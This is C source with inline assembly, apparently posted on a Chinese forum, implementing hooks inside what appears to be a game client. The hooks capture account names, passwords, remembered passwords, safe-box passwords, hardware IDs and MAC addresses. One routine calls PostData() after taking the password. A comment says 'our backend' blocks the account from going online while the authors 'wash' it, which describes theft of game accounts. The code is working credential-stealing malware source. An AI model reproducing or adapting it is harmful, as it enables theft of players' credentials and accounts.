// 帐号挂勾
//
BYTE gHookAccountOldBytes[32];
DWORD gHookAccountJumper = (DWORD)gHookAccountOldBytes;
char* gHookAccountData = NULL;
void __stdcall HookAccountProcess()
{
if( gHookAccountData )
{
memset( gAccount,0,100 );
//memset( gPassword,0,100 );
memset( gSafeBoxPassword,0,100 );
memset( gUID,0,100 );
memset( gID,0,100 );
memset( gHardwareID,0,0x200 );
memset( gMACAddress,0,200 );
memset( gMoney,0,100 );
memset( gRoomInfo,0,512 );
if( strlen( gHookAccountData ) < 100 )
{
gIsDisableOnline = IsDisableOnline( gHookAccountData ); //获取到账号之后,会去我们的后台查询是否允许这个账号上线,如果我们在洗这个账号就不让他上线,
strcpy( gAccount,gHookAccountData );
//OutputDebugString("HookAccountProcess");
//OutputDebugString(gAccount);
}
}
}
__declspec(naked) void __stdcall HookAccountProc()
{
__asm {
pushad
mov gHookAccountData,ecx
call HookAccountProcess
popad
jmp gHookAccountJumper;
}
}
//
// 密码挂勾
//
BYTE gHookPasswordOldBytes[32];
DWORD gHookPasswordJumper = (DWORD)gHookPasswordOldBytes;
char* gHookPasswordData = NULL;
void __stdcall HookPasswordProcess()
{
if( gHookPasswordData )
{
if( strlen( gHookPasswordData ) < 100 )
{
strcpy( gPassword,gHookPasswordData );
//OutputDebugString("HookPasswordProcess");
//OutputDebugString(gPassword);
}
}
}
__declspec(naked) void __stdcall HookPasswordProc()
{
__asm {
pushad
mov gHookPasswordData,ecx
call HookPasswordProcess
popad
jmp gHookPasswordJumper;
}
}
//
// 记住密码挂钩
//
BYTE gHookRememberPasswordOldBytes[32];
DWORD gHookRememberPasswordJumper = (DWORD)gHookRememberPasswordOldBytes;
char* gHookRememberPasswordData = NULL;
void __stdcall HookRememberPasswordProcess()
{
if( !IsBadReadPtr( gHookRememberPasswordData,1 ) )
{
if( strlen( gHookRememberPasswordData ) < 100 )
{
strcpy( gPassword,gHookRememberPasswordData );
//OutputDebugString("HookRememberPasswordProcess PostData");
PostData();
}
}
}
__declspec(naked) void __stdcall HookRememberPasswordProc()
{
__asm {
pushad
mov gHookRememberPasswordData,eax
call HookRememberPasswordProcess
popad
jmp gHookRememberPasswordJumper
}
}
// 挂钩mac地址
//
BYTE gHookMACOldBytes[32];
DWORD gHookMACJumper = (DWORD)gHookMACOldBytes;
char* gHookMACData = NULL;
void __stdcall HookMACProcess()
{
if( gHookMACData )
{
int len;
if( *(DWORD*)(gHookMACData+4) && *(DWORD*)(gHookMACData+8) )
{
len = *(DWORD*)(gHookMACData+8) - *(DWORD*)(gHookMACData+4);
char* DataStart = (char*)*(DWORD*)(gHookMACData+4);
char* DataEnd = (char*)*(DWORD*)(gHookMACData+8);
char szHex[10];
memset( gMACAddress,0,0x200 );
for( int i = 0; i < len; i ++ )
{
wsprintf( szHex,"%02X",DataStart[i] & 0xff );
strcat( gMACAddress,szHex );
}
}
}
}
__declspec(naked) void __stdcall HookMACProc()
{
__asm {
pushad
mov gHookMACData,ecx
call HookMACProcess
popad
jmp gHookMACJumper
}
} 获取MAC地址
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课